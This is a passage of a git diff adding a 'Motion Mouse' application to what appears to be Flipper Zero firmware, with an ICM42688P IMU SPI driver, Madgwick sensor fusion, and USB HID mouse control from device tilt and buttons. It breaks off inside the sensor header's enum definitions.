b/applications/external/motion_mouse/assets/Right_mouse_icon_9x9.png new file mode 100644 index 00000000000..446d7176c8d Binary files /dev/null and b/applications/external/motion_mouse/assets/Right_mouse_icon_9x9.png differ diff --git a/applications/external/motion_mouse/imu_mouse.c b/applications/external/motion_mouse/imu_mouse.c new file mode 100644 index 00000000000..afd97a9526e --- /dev/null +++ b/applications/external/motion_mouse/imu_mouse.c @@ -0,0 +1,340 @@ +#include "imu_mouse.h" +#include +#include +#include "sensors/ICM42688P.h" + +#define TAG "IMU" + +#define ACCEL_GYRO_RATE DataRate1kHz + +#define FILTER_SAMPLE_FREQ 1000.f +#define FILTER_BETA 0.08f + +#define HID_RATE_DIV 5 + +#define SENSITIVITY_K 30.f +#define EXP_RATE 1.1f + +#define IMU_CALI_AVG 64 + +typedef enum { + ImuMouseStop = (1 << 0), + ImuMouseNewData = (1 << 1), + ImuMouseRightPress = (1 << 2), + ImuMouseRightRelease = (1 << 3), + ImuMouseLeftPress = (1 << 4), + ImuMouseLeftRelease = (1 << 5), +} ImuThreadFlags; + +#define FLAGS_ALL \ + (ImuMouseStop | ImuMouseNewData | ImuMouseRightPress | ImuMouseRightRelease | \ + ImuMouseLeftPress | ImuMouseLeftRelease) + +typedef struct { + float q0; + float q1; + float q2; + float q3; + float roll; + float pitch; + float yaw; +} ImuProcessedData; + +struct ImuThread { + FuriThread* thread; + ICM42688P* icm42688p; + ImuProcessedData processed_data; +}; + +static void imu_madgwick_filter( + ImuProcessedData* out, + ICM42688PScaledData* accel, + ICM42688PScaledData* gyro); + +static void imu_irq_callback(void* context) { + furi_assert(context); + ImuThread* imu = context; + furi_thread_flags_set(furi_thread_get_id(imu->thread), ImuMouseNewData); +} + +static void imu_process_data(ImuThread* imu, ICM42688PFifoPacket* in_data) { + ICM42688PScaledData accel_data; + ICM42688PScaledData gyro_data; + + // Get accel and gyro data in g and degrees/s + icm42688p_apply_scale_fifo(imu->icm42688p, in_data, &accel_data, &gyro_data); + + // Gyro: degrees/s to rads/s + gyro_data.x = gyro_data.x / 180.f * M_PI; + gyro_data.y = gyro_data.y / 180.f * M_PI; + gyro_data.z = gyro_data.z / 180.f * M_PI; + + // Sensor Fusion algorithm + ImuProcessedData* out = &imu->processed_data; + imu_madgwick_filter(out, &accel_data, &gyro_data); + + // Quaternion to euler angles + float roll = atan2f( + out->q0 * out->q1 + out->q2 * out->q3, 0.5f - out->q1 * out->q1 - out->q2 * out->q2); + float pitch = asinf(-2.0f * (out->q1 * out->q3 - out->q0 * out->q2)); + float yaw = atan2f( + out->q1 * out->q2 + out->q0 * out->q3, 0.5f - out->q2 * out->q2 - out->q3 * out->q3); + + // Euler angles: rads to degrees + out->roll = roll / M_PI * 180.f; + out->pitch = pitch / M_PI * 180.f; + out->yaw = yaw / M_PI * 180.f; +} + +static void calibrate_gyro(ImuThread* imu) { + ICM42688PRawData data; + ICM42688PScaledData offset_scaled = {.x = 0.f, .y = 0.f, .z = 0.f}; + + icm42688p_write_gyro_offset(imu->icm42688p, &offset_scaled); + furi_delay_ms(10); + + int32_t avg_x = 0; + int32_t avg_y = 0; + int32_t avg_z = 0; + + for(uint8_t i = 0; i < IMU_CALI_AVG; i++) { + icm42688p_read_gyro_raw(imu->icm42688p, &data); + avg_x += data.x; + avg_y += data.y; + avg_z += data.z; + furi_delay_ms(2); + } + + data.x = avg_x / IMU_CALI_AVG; + data.y = avg_y / IMU_CALI_AVG; + data.z = avg_z / IMU_CALI_AVG; + + icm42688p_apply_scale(&data, icm42688p_gyro_get_full_scale(imu->icm42688p), &offset_scaled); + FURI_LOG_I( + TAG, + "Offsets: x %f, y %f, z %f", + (double)offset_scaled.x, + (double)offset_scaled.y, + (double)offset_scaled.z); + icm42688p_write_gyro_offset(imu->icm42688p, &offset_scaled); +} + +static float imu_angle_diff(float a, float b) { + float diff = a - b; + if(diff > 180.f) + diff -= 360.f; + else if(diff < -180.f) + diff += 360.f; + + return diff; +} + +static int8_t mouse_exp_rate(float in) { + int8_t sign = (in < 0.f) ? (-1) : (1); + float val_in = (in * sign) / 127.f; + float val_out = powf(val_in, EXP_RATE) * 127.f; + return ((int8_t)val_out) * sign; +} + +static int32_t imu_thread(void* context) { + furi_assert(context); + ImuThread* imu = context; + + float yaw_last = 0.f; + float pitch_last = 0.f; + float diff_x = 0.f; + float diff_y = 0.f; + uint32_t sample_cnt = 0; + + FuriHalUsbInterface* usb_mode_prev = furi_hal_usb_get_config(); + furi_hal_usb_set_config(&usb_hid, NULL); + + calibrate_gyro(imu); + + icm42688p_accel_config(imu->icm42688p, AccelFullScale16G, ACCEL_GYRO_RATE); + icm42688p_gyro_config(imu->icm42688p, GyroFullScale2000DPS, ACCEL_GYRO_RATE); + + imu->processed_data.q0 = 1.f; + imu->processed_data.q1 = 0.f; + imu->processed_data.q2 = 0.f; + imu->processed_data.q3 = 0.f; + icm42688_fifo_enable(imu->icm42688p, imu_irq_callback, imu); + + while(1) { + uint32_t events = furi_thread_flags_wait(FLAGS_ALL, FuriFlagWaitAny, FuriWaitForever); + + if(events & ImuMouseStop) { + break; + } + + if(events & ImuMouseRightPress) { + furi_hal_hid_mouse_press(HID_MOUSE_BTN_RIGHT); + } + if(events & ImuMouseRightRelease) { + furi_hal_hid_mouse_release(HID_MOUSE_BTN_RIGHT); + } + if(events & ImuMouseLeftPress) { + furi_hal_hid_mouse_press(HID_MOUSE_BTN_LEFT); + } + if(events & ImuMouseLeftRelease) { + furi_hal_hid_mouse_release(HID_MOUSE_BTN_LEFT); + } + + if(events & ImuMouseNewData) { + uint16_t data_pending = icm42688_fifo_get_count(imu->icm42688p); + ICM42688PFifoPacket data; + while(data_pending--) { + icm42688_fifo_read(imu->icm42688p, &data); + imu_process_data(imu, &data); + + if((imu->processed_data.pitch > -75.f) && (imu->processed_data.pitch < 75.f) && + (isfinite(imu->processed_data.pitch) != 0)) { + diff_x += imu_angle_diff(yaw_last, imu->processed_data.yaw) * SENSITIVITY_K; + diff_y += + imu_angle_diff(pitch_last, -imu->processed_data.pitch) * SENSITIVITY_K; + + yaw_last = imu->processed_data.yaw; + pitch_last = -imu->processed_data.pitch; + + sample_cnt++; + if(sample_cnt >= HID_RATE_DIV) { + sample_cnt = 0; + + float mouse_x = CLAMP(diff_x, 127.f, -127.f); + float mouse_y = CLAMP(diff_y, 127.f, -127.f); + + furi_hal_hid_mouse_move(mouse_exp_rate(mouse_x), mouse_exp_rate(mouse_y)); + + diff_x -= (float)(int8_t)mouse_x; + diff_y -= (float)(int8_t)mouse_y; + } + } + } + } + } + + furi_hal_hid_mouse_release(HID_MOUSE_BTN_RIGHT | HID_MOUSE_BTN_LEFT); + furi_hal_usb_set_config(usb_mode_prev, NULL); + + icm42688_fifo_disable(imu->icm42688p); + + return 0; +} + +void imu_mouse_key_press(ImuThread* imu, ImuMouseKey key, bool state) { + furi_assert(imu); + uint32_t flag = 0; + if(key == ImuMouseKeyRight) { + flag = (state) ? (ImuMouseRightPress) : (ImuMouseRightRelease); + } else if(key == ImuMouseKeyLeft) { + flag = (state) ? (ImuMouseLeftPress) : (ImuMouseLeftRelease); + } + + furi_thread_flags_set(furi_thread_get_id(imu->thread), flag); +} + +ImuThread* imu_start(ICM42688P* icm42688p) { + ImuThread* imu = malloc(sizeof(ImuThread)); + imu->icm42688p = icm42688p; + imu->thread = furi_thread_alloc_ex("ImuThread", 4096, imu_thread, imu); + furi_thread_start(imu->thread); + + return imu; +} + +void imu_stop(ImuThread* imu) { + furi_assert(imu); + + furi_thread_flags_set(furi_thread_get_id(imu->thread), ImuMouseStop); + + furi_thread_join(imu->thread); + furi_thread_free(imu->thread); + + free(imu); +} + +static float imu_inv_sqrt(float number) { + union { + float f; + uint32_t i; + } conv = {.f = number}; + conv.i = 0x5F3759Df - (conv.i >> 1); + conv.f *= 1.5f - (number * 0.5f * conv.f * conv.f); + return conv.f; +} + +/* Simple madgwik filter, based on: https://github.com/arduino-libraries/MadgwickAHRS/ */ + +static void imu_madgwick_filter( + ImuProcessedData* out, + ICM42688PScaledData* accel, + ICM42688PScaledData* gyro) { + float recipNorm; + float s0, s1, s2, s3; + float qDot1, qDot2, qDot3, qDot4; + float _2q0, _2q1, _2q2, _2q3, _4q0, _4q1, _4q2, _8q1, _8q2, q0q0, q1q1, q2q2, q3q3; + + // Rate of change of quaternion from gyroscope + qDot1 = 0.5f * (-out->q1 * gyro->x - out->q2 * gyro->y - out->q3 * gyro->z); + qDot2 = 0.5f * (out->q0 * gyro->x + out->q2 * gyro->z - out->q3 * gyro->y); + qDot3 = 0.5f * (out->q0 * gyro->y - out->q1 * gyro->z + out->q3 * gyro->x); + qDot4 = 0.5f * (out->q0 * gyro->z + out->q1 * gyro->y - out->q2 * gyro->x); + + // Compute feedback only if accelerometer measurement valid (avoids NaN in accelerometer normalisation) + if(!((accel->x == 0.0f) && (accel->y == 0.0f) && (accel->z == 0.0f))) { + // Normalise accelerometer measurement + recipNorm = imu_inv_sqrt(accel->x * accel->x + accel->y * accel->y + accel->z * accel->z); + accel->x *= recipNorm; + accel->y *= recipNorm; + accel->z *= recipNorm; + + // Auxiliary variables to avoid repeated arithmetic + _2q0 = 2.0f * out->q0; + _2q1 = 2.0f * out->q1; + _2q2 = 2.0f * out->q2; + _2q3 = 2.0f * out->q3; + _4q0 = 4.0f * out->q0; + _4q1 = 4.0f * out->q1; + _4q2 = 4.0f * out->q2; + _8q1 = 8.0f * out->q1; + _8q2 = 8.0f * out->q2; + q0q0 = out->q0 * out->q0; + q1q1 = out->q1 * out->q1; + q2q2 = out->q2 * out->q2; + q3q3 = out->q3 * out->q3; + + // Gradient decent algorithm corrective step + s0 = _4q0 * q2q2 + _2q2 * accel->x + _4q0 * q1q1 - _2q1 * accel->y; + s1 = _4q1 * q3q3 - _2q3 * accel->x + 4.0f * q0q0 * out->q1 - _2q0 * accel->y - _4q1 + + _8q1 * q1q1 + _8q1 * q2q2 + _4q1 * accel->z; + s2 = 4.0f * q0q0 * out->q2 + _2q0 * accel->x + _4q2 * q3q3 - _2q3 * accel->y - _4q2 + + _8q2 * q1q1 + _8q2 * q2q2 + _4q2 * accel->z; + s3 = 4.0f * q1q1 * out->q3 - _2q1 * accel->x + 4.0f * q2q2 * out->q3 - _2q2 * accel->y; + recipNorm = + imu_inv_sqrt(s0 * s0 + s1 * s1 + s2 * s2 + s3 * s3); // normalise step magnitude + s0 *= recipNorm; + s1 *= recipNorm; + s2 *= recipNorm; + s3 *= recipNorm; + + // Apply feedback step + qDot1 -= FILTER_BETA * s0; + qDot2 -= FILTER_BETA * s1; + qDot3 -= FILTER_BETA * s2; + qDot4 -= FILTER_BETA * s3; + } + + // Integrate rate of change of quaternion to yield quaternion + out->q0 += qDot1 * (1.0f / FILTER_SAMPLE_FREQ); + out->q1 += qDot2 * (1.0f / FILTER_SAMPLE_FREQ); + out->q2 += qDot3 * (1.0f / FILTER_SAMPLE_FREQ); + out->q3 += qDot4 * (1.0f / FILTER_SAMPLE_FREQ); + + // Normalise quaternion + recipNorm = imu_inv_sqrt( + out->q0 * out->q0 + out->q1 * out->q1 + out->q2 * out->q2 + out->q3 * out->q3); + out->q0 *= recipNorm; + out->q1 *= recipNorm; + out->q2 *= recipNorm; + out->q3 *= recipNorm; +} diff --git a/applications/external/motion_mouse/imu_mouse.h b/applications/external/motion_mouse/imu_mouse.h new file mode 100644 index 00000000000..b2eebfb7e50 --- /dev/null +++ b/applications/external/motion_mouse/imu_mouse.h @@ -0,0 +1,16 @@ +#pragma once + +#include "sensors/ICM42688P.h" + +typedef enum { + ImuMouseKeyRight, + ImuMouseKeyLeft, +} ImuMouseKey; + +typedef struct ImuThread ImuThread; + +ImuThread* imu_start(ICM42688P* icm42688p); + +void imu_stop(ImuThread* imu); + +void imu_mouse_key_press(ImuThread* imu, ImuMouseKey key, bool state); diff --git a/applications/external/motion_mouse/motion_mouse_app.c b/applications/external/motion_mouse/motion_mouse_app.c new file mode 100644 index 00000000000..127e5c0d3af --- /dev/null +++ b/applications/external/motion_mouse/motion_mouse_app.c @@ -0,0 +1,129 @@ +#include +#include +#include +#include +#include "imu_mouse.h" +#include "motion_mouse_icons.h" + +#define TAG "SensorModule" + +typedef struct { + Gui* gui; + ViewPort* view_port; + FuriMessageQueue* input_queue; + + FuriHalSpiBusHandle* icm42688p_device; + ICM42688P* icm42688p; + bool icm42688p_valid; + + ImuThread* imu_thread; +} SensorModuleApp; + +static void render_callback(Canvas* canvas, void* ctx) { + UNUSED(ctx); + canvas_clear(canvas); + canvas_set_color(canvas, ColorBlack); + + canvas_draw_icon(canvas, 64 + 14, 8, &I_Circles_47x47); + canvas_draw_icon(canvas, 83 + 14, 27, &I_Left_mouse_icon_9x9); + canvas_draw_icon(canvas, 83 + 14, 11, &I_Right_mouse_icon_9x9); + + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 0, 14, "Motion Mouse"); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 0, 56, "Press Back to exit"); +} + +static void input_callback(InputEvent* input_event, void* ctx) { + SensorModuleApp* app = ctx; + furi_message_queue_put(app->input_queue, input_event, 0); +} + +static SensorModuleApp* sensor_module_alloc(void) { + SensorModuleApp* app = malloc(sizeof(SensorModuleApp)); + + app->icm42688p_device = malloc(sizeof(FuriHalSpiBusHandle)); + memcpy(app->icm42688p_device, &furi_hal_spi_bus_handle_external, sizeof(FuriHalSpiBusHandle)); + app->icm42688p_device->cs = &gpio_ext_pc3; + app->icm42688p = icm42688p_alloc(app->icm42688p_device, &gpio_ext_pb2); + app->icm42688p_valid = icm42688p_init(app->icm42688p); + + app->input_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); + + app->view_port = view_port_alloc(); + view_port_draw_callback_set(app->view_port, render_callback, app); + view_port_input_callback_set(app->view_port, input_callback, app); + + app->gui = furi_record_open(RECORD_GUI); + gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen); + + return app; +} + +static void sensor_module_free(SensorModuleApp* app) { + gui_remove_view_port(app->gui, app->view_port); + furi_record_close(RECORD_GUI); + view_port_free(app->view_port); + + furi_message_queue_free(app->input_queue); + + if(app->imu_thread) { + imu_stop(app->imu_thread); + app->imu_thread = NULL; + } + + if(!icm42688p_deinit(app->icm42688p)) { + FURI_LOG_E(TAG, "Failed to deinitialize ICM42688P"); + } + + icm42688p_free(app->icm42688p); + free(app->icm42688p_device); + + free(app); +} + +int32_t motion_mouse_app(void* arg) { + UNUSED(arg); + SensorModuleApp* app = sensor_module_alloc(); + + if(!app->icm42688p_valid) { + DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); + DialogMessage* message = dialog_message_alloc(); + dialog_message_set_header(message, "Sensor Module error", 63, 0, AlignCenter, AlignTop); + + dialog_message_set_text(message, "Module not conntected", 63, 30, AlignCenter, AlignTop); + dialog_message_show(dialogs, message); + dialog_message_free(message); + furi_record_close(RECORD_DIALOGS); + + sensor_module_free(app); + return 0; + } + + view_port_update(app->view_port); + app->imu_thread = imu_start(app->icm42688p); + + while(1) { + InputEvent input; + if(furi_message_queue_get(app->input_queue, &input, FuriWaitForever) == FuriStatusOk) { + if((input.key == InputKeyBack) && (input.type == InputTypeShort)) { + break; + } else if(input.key == InputKeyOk) { + if(input.type == InputTypePress) { + imu_mouse_key_press(app->imu_thread, ImuMouseKeyLeft, true); + } else if(input.type == InputTypeRelease) { + imu_mouse_key_press(app->imu_thread, ImuMouseKeyLeft, false); + } + } else if(input.key == InputKeyUp) { + if(input.type == InputTypePress) { + imu_mouse_key_press(app->imu_thread, ImuMouseKeyRight, true); + } else if(input.type == InputTypeRelease) { + imu_mouse_key_press(app->imu_thread, ImuMouseKeyRight, false); + } + } + } + } + + sensor_module_free(app); + return 0; +} diff --git a/applications/external/motion_mouse/sensors/ICM42688P.c b/applications/external/motion_mouse/sensors/ICM42688P.c new file mode 100644 index 00000000000..9f8e9a0aad9 --- /dev/null +++ b/applications/external/motion_mouse/sensors/ICM42688P.c @@ -0,0 +1,297 @@ +#include "ICM42688P_regs.h" +#include "ICM42688P.h" + +#define TAG "ICM42688P" + +#define ICM42688P_TIMEOUT 100 + +struct ICM42688P { + FuriHalSpiBusHandle* spi_bus; + const GpioPin* irq_pin; + float accel_scale; + float gyro_scale; +}; + +static const struct AccelFullScale { + float value; + uint8_t reg_mask; +} accel_fs_modes[] = { + [AccelFullScale16G] = {16.f, ICM42688_AFS_16G}, + [AccelFullScale8G] = {8.f, ICM42688_AFS_8G}, + [AccelFullScale4G] = {4.f, ICM42688_AFS_4G}, + [AccelFullScale2G] = {2.f, ICM42688_AFS_2G}, +}; + +static const struct GyroFullScale { + float value; + uint8_t reg_mask; +} gyro_fs_modes[] = { + [GyroFullScale2000DPS] = {2000.f, ICM42688_GFS_2000DPS}, + [GyroFullScale1000DPS] = {1000.f, ICM42688_GFS_1000DPS}, + [GyroFullScale500DPS] = {500.f, ICM42688_GFS_500DPS}, + [GyroFullScale250DPS] = {250.f, ICM42688_GFS_250DPS}, + [GyroFullScale125DPS] = {125.f, ICM42688_GFS_125DPS}, + [GyroFullScale62_5DPS] = {62.5f, ICM42688_GFS_62_5DPS}, + [GyroFullScale31_25DPS] = {31.25f, ICM42688_GFS_31_25DPS}, + [GyroFullScale15_625DPS] = {15.625f, ICM42688_GFS_15_625DPS}, +}; + +static bool icm42688p_write_reg(FuriHalSpiBusHandle* spi_bus, uint8_t addr, uint8_t value) { + bool res = false; + furi_hal_spi_acquire(spi_bus); + do { + uint8_t cmd_data[2] = {addr & 0x7F, value}; + if(!furi_hal_spi_bus_tx(spi_bus, cmd_data, 2, ICM42688P_TIMEOUT)) break; + res = true; + } while(0); + furi_hal_spi_release(spi_bus); + return res; +} + +static bool icm42688p_read_reg(FuriHalSpiBusHandle* spi_bus, uint8_t addr, uint8_t* value) { + bool res = false; + furi_hal_spi_acquire(spi_bus); + do { + uint8_t cmd_byte = addr | (1 << 7); + if(!furi_hal_spi_bus_tx(spi_bus, &cmd_byte, 1, ICM42688P_TIMEOUT)) break; + if(!furi_hal_spi_bus_rx(spi_bus, value, 1, ICM42688P_TIMEOUT)) break; + res = true; + } while(0); + furi_hal_spi_release(spi_bus); + return res; +} + +static bool + icm42688p_read_mem(FuriHalSpiBusHandle* spi_bus, uint8_t addr, uint8_t* data, uint8_t len) { + bool res = false; + furi_hal_spi_acquire(spi_bus); + do { + uint8_t cmd_byte = addr | (1 << 7); + if(!furi_hal_spi_bus_tx(spi_bus, &cmd_byte, 1, ICM42688P_TIMEOUT)) break; + if(!furi_hal_spi_bus_rx(spi_bus, data, len, ICM42688P_TIMEOUT)) break; + res = true; + } while(0); + furi_hal_spi_release(spi_bus); + return res; +} + +bool icm42688p_accel_config( + ICM42688P* icm42688p, + ICM42688PAccelFullScale full_scale, + ICM42688PDataRate rate) { + icm42688p->accel_scale = accel_fs_modes[full_scale].value; + uint8_t reg_value = accel_fs_modes[full_scale].reg_mask | rate; + return icm42688p_write_reg(icm42688p->spi_bus, ICM42688_ACCEL_CONFIG0, reg_value); +} + +float icm42688p_accel_get_full_scale(ICM42688P* icm42688p) { + return icm42688p->accel_scale; +} + +bool icm42688p_gyro_config( + ICM42688P* icm42688p, + ICM42688PGyroFullScale full_scale, + ICM42688PDataRate rate) { + icm42688p->gyro_scale = gyro_fs_modes[full_scale].value; + uint8_t reg_value = gyro_fs_modes[full_scale].reg_mask | rate; + return icm42688p_write_reg(icm42688p->spi_bus, ICM42688_GYRO_CONFIG0, reg_value); +} + +float icm42688p_gyro_get_full_scale(ICM42688P* icm42688p) { + return icm42688p->gyro_scale; +} + +bool icm42688p_read_accel_raw(ICM42688P* icm42688p, ICM42688PRawData* data) { + bool ret = icm42688p_read_mem( + icm42688p->spi_bus, ICM42688_ACCEL_DATA_X1, (uint8_t*)data, sizeof(ICM42688PRawData)); + return ret; +} + +bool icm42688p_read_gyro_raw(ICM42688P* icm42688p, ICM42688PRawData* data) { + bool ret = icm42688p_read_mem( + icm42688p->spi_bus, ICM42688_GYRO_DATA_X1, (uint8_t*)data, sizeof(ICM42688PRawData)); + return ret; +} + +bool icm42688p_write_gyro_offset(ICM42688P* icm42688p, ICM42688PScaledData* scaled_data) { + if((fabsf(scaled_data->x) > 64.f) || (fabsf(scaled_data->y) > 64.f) || + (fabsf(scaled_data->z) > 64.f)) { + return false; + } + + uint16_t offset_x = (uint16_t)(-(int16_t)(scaled_data->x * 32.f) * 16) >> 4; + uint16_t offset_y = (uint16_t)(-(int16_t)(scaled_data->y * 32.f) * 16) >> 4; + uint16_t offset_z = (uint16_t)(-(int16_t)(scaled_data->z * 32.f) * 16) >> 4; + + uint8_t offset_regs[9]; + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_REG_BANK_SEL, 4); + icm42688p_read_mem(icm42688p->spi_bus, ICM42688_OFFSET_USER0, offset_regs, 5); + + offset_regs[0] = offset_x & 0xFF; + offset_regs[1] = (offset_x & 0xF00) >> 8; + offset_regs[1] |= (offset_y & 0xF00) >> 4; + offset_regs[2] = offset_y & 0xFF; + offset_regs[3] = offset_z & 0xFF; + offset_regs[4] &= 0xF0; + offset_regs[4] |= (offset_z & 0x0F00) >> 8; + + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_OFFSET_USER0, offset_regs[0]); + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_OFFSET_USER1, offset_regs[1]); + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_OFFSET_USER2, offset_regs[2]); + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_OFFSET_USER3, offset_regs[3]); + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_OFFSET_USER4, offset_regs[4]); + + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_REG_BANK_SEL, 0); + return true; +} + +void icm42688p_apply_scale(ICM42688PRawData* raw_data, float full_scale, ICM42688PScaledData* data) { + data->x = ((float)(raw_data->x)) / 32768.f * full_scale; + data->y = ((float)(raw_data->y)) / 32768.f * full_scale; + data->z = ((float)(raw_data->z)) / 32768.f * full_scale; +} + +void icm42688p_apply_scale_fifo( + ICM42688P* icm42688p, + ICM42688PFifoPacket* fifo_data, + ICM42688PScaledData* accel_data, + ICM42688PScaledData* gyro_data) { + float full_scale = icm42688p->accel_scale; + accel_data->x = ((float)(fifo_data->a_x)) / 32768.f * full_scale; + accel_data->y = ((float)(fifo_data->a_y)) / 32768.f * full_scale; + accel_data->z = ((float)(fifo_data->a_z)) / 32768.f * full_scale; + + full_scale = icm42688p->gyro_scale; + gyro_data->x = ((float)(fifo_data->g_x)) / 32768.f * full_scale; + gyro_data->y = ((float)(fifo_data->g_y)) / 32768.f * full_scale; + gyro_data->z = ((float)(fifo_data->g_z)) / 32768.f * full_scale; +} + +float icm42688p_read_temp(ICM42688P* icm42688p) { + uint8_t reg_val[2]; + + icm42688p_read_mem(icm42688p->spi_bus, ICM42688_TEMP_DATA1, reg_val, 2); + int16_t temp_int = (reg_val[0] << 8) | reg_val[1]; + return ((float)temp_int / 132.48f) + 25.f; +} + +void icm42688_fifo_enable( + ICM42688P* icm42688p, + ICM42688PIrqCallback irq_callback, + void* irq_context) { + // FIFO mode: stream + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_FIFO_CONFIG, (1 << 6)); + // Little-endian data, FIFO count in records + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_INTF_CONFIG0, (1 << 7) | (1 << 6)); + // FIFO partial read, FIFO packet: gyro + accel TODO: 20bit + icm42688p_write_reg( + icm42688p->spi_bus, ICM42688_FIFO_CONFIG1, (1 << 6) | (1 << 5) | (1 << 1) | (1 << 0)); + // FIFO irq watermark + uint16_t fifo_watermark = 1; + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_FIFO_CONFIG2, fifo_watermark & 0xFF); + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_FIFO_CONFIG3, fifo_watermark >> 8); + + // IRQ1: push-pull, active high + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_INT_CONFIG, (1 << 1) | (1 << 0)); + // Clear IRQ on status read + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_INT_CONFIG0, 0); + // IRQ pulse duration + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_INT_CONFIG1, (1 << 6) | (1 << 5)); + + uint8_t reg_data = 0; + icm42688p_read_reg(icm42688p->spi_bus, ICM42688_INT_STATUS, ®_data); + + furi_hal_gpio_init(icm42688p->irq_pin, GpioModeInterruptRise, GpioPullDown, GpioSpeedVeryHigh); + furi_hal_gpio_remove_int_callback(icm42688p->irq_pin); + furi_hal_gpio_add_int_callback(icm42688p->irq_pin, irq_callback, irq_context); + + // IRQ1 source: FIFO threshold + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_INT_SOURCE0, (1 << 2)); +} + +void icm42688_fifo_disable(ICM42688P* icm42688p) { + furi_hal_gpio_remove_int_callback(icm42688p->irq_pin); + furi_hal_gpio_init(icm42688p->irq_pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow); + + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_INT_SOURCE0, 0); + + // FIFO mode: bypass + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_FIFO_CONFIG, 0); +} + +uint16_t icm42688_fifo_get_count(ICM42688P* icm42688p) { + uint16_t reg_val = 0; + icm42688p_read_mem(icm42688p->spi_bus, ICM42688_FIFO_COUNTH, (uint8_t*)®_val, 2); + return reg_val; +} + +bool icm42688_fifo_read(ICM42688P* icm42688p, ICM42688PFifoPacket* data) { + icm42688p_read_mem( + icm42688p->spi_bus, ICM42688_FIFO_DATA, (uint8_t*)data, sizeof(ICM42688PFifoPacket)); + return (data->header) & (1 << 7); +} + +ICM42688P* icm42688p_alloc(FuriHalSpiBusHandle* spi_bus, const GpioPin* irq_pin) { + ICM42688P* icm42688p = malloc(sizeof(ICM42688P)); + icm42688p->spi_bus = spi_bus; + icm42688p->irq_pin = irq_pin; + return icm42688p; +} + +void icm42688p_free(ICM42688P* icm42688p) { + free(icm42688p); +} + +bool icm42688p_init(ICM42688P* icm42688p) { + furi_hal_spi_bus_handle_init(icm42688p->spi_bus); + + // Software reset + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_REG_BANK_SEL, 0); // Set reg bank to 0 + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_DEVICE_CONFIG, 0x01); // SPI Mode 0, SW reset + furi_delay_ms(1); + + uint8_t reg_value = 0; + bool read_ok = icm42688p_read_reg(icm42688p->spi_bus, ICM42688_WHO_AM_I, ®_value); + if(!read_ok) { + FURI_LOG_E(TAG, "Chip ID read failed"); + return false; + } else if(reg_value != ICM42688_WHOAMI) { + FURI_LOG_E( + TAG, "Sensor returned wrong ID 0x%02X, expected 0x%02X", reg_value, ICM42688_WHOAMI); + return false; + } + + // Disable all interrupts + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_INT_SOURCE0, 0); + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_INT_SOURCE1, 0); + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_INT_SOURCE3, 0); + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_INT_SOURCE4, 0); + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_REG_BANK_SEL, 4); + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_INT_SOURCE6, 0); + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_INT_SOURCE7, 0); + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_REG_BANK_SEL, 0); + + // Data format: little endian + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_INTF_CONFIG0, 0); + + // Enable all sensors + icm42688p_write_reg( + icm42688p->spi_bus, + ICM42688_PWR_MGMT0, + ICM42688_PWR_TEMP_ON | ICM42688_PWR_GYRO_MODE_LN | ICM42688_PWR_ACCEL_MODE_LN); + furi_delay_ms(45); + + icm42688p_accel_config(icm42688p, AccelFullScale16G, DataRate1kHz); + icm42688p_gyro_config(icm42688p, GyroFullScale2000DPS, DataRate1kHz); + + return true; +} + +bool icm42688p_deinit(ICM42688P* icm42688p) { + // Software reset + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_REG_BANK_SEL, 0); // Set reg bank to 0 + icm42688p_write_reg(icm42688p->spi_bus, ICM42688_DEVICE_CONFIG, 0x01); // SPI Mode 0, SW reset + + furi_hal_spi_bus_handle_deinit(icm42688p->spi_bus); + return true; +} diff --git a/applications/external/motion_mouse/sensors/ICM42688P.h b/applications/external/motion_mouse/sensors/ICM42688P.h new file mode 100644 index 00000000000..b04fb9809e1 --- /dev/null +++ b/applications/external/motion_mouse/sensors/ICM42688P.h @@ -0,0 +1,127 @@ +#pragma once + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + DataRate32kHz = 0x01, + DataRate16kHz = 0x02, + DataRate8kHz = 0x03, + DataRate4kHz = 0x04, + DataRate2kHz = 0x05, + DataRate1kHz = 0x06, + DataRate200Hz = 0x07, + DataRate100Hz = 0x08, + DataRate50Hz = 0x09, + DataRate25Hz = 0x0A, + DataRate12_5Hz = 0x0B, + DataRate6_25Hz = 0x0C, // Accelerometer only + DataRate3_125Hz = 0x0D, // Accelerometer only + DataRate1_5625Hz = 0x0E, // Accelerometer only + DataRate500Hz = 0x0F, +} ICM42688PDataRate; + +typedef enum { + AccelFullScale16G = 0, + AccelFullScale8G, + AccelFullScale4G, + AccelFullScale2G, + AccelFullScaleTotal, +} ICM42688PAccelFullScale; + +typedef enum { + GyroFullScale2000DPS = 0, + GyroFullScale1000DPS, + GyroFullScale500DPS, + GyroFullScale250DPS, + GyroFullScale125DPS, + GyroFullScale62_5DPS, + GyroFullScale31_25DPS, + 